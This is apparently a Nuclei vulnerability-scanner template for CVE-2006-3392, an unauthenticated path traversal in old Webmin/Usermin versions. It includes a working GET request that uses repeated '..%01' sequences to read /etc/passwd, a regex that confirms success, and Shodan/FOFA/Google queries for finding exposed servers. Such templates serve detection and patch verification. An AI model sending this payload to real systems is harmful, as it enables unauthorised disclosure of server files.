漏洞描述
Webmin before 1.290 and Usermin before 1.220 contain a path traversal caused by calling the simplify_path function before decoding HTML, letting remote attackers read arbitrary files, exploit requires sending crafted '..%01' sequences.
id: CVE-2006-3392
info:
name: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
author: s4e-io
severity: medium
description: |
Webmin before 1.290 and Usermin before 1.220 contain a path traversal caused by calling the simplify_path function before decoding HTML, letting remote attackers read arbitrary files, exploit requires sending crafted '..%01' sequences.
impact: |
Attackers can read arbitrary files on the server, potentially exposing sensitive information.
remediation: |
Update to Webmin 1.290 and Usermin 1.220 or later versions.
reference:
- https://www.exploit-db.com/exploits/1997
- https://www.exploit-db.com/exploits/2017
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5.0
cve-id: CVE-2006-3392
epss-score: 0.80852
epss-percentile: 0.9911
cwe-id: CWE-22
metadata:
max-request: 1
vendor: webmin
product: webmin
shodan-query: http.title:"webmin"
fofa-query: title="webmin"
google-query: intitle:"webmin"
tags: cve,cve2006,webmin,usermin,lfi,traversal,unauth,vuln
http:
- method: GET
path:
- "{{BaseURL}}/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a004630440220047f17f3626311304b79816559fe5fbcde14f1c6d1317eb81c9f43a9728a8e2b02204f89ed1f882850cc29b6715009419fedb508931fe2f2bca73c6623da49047162:922c64590222798bb761d5b6d8e72950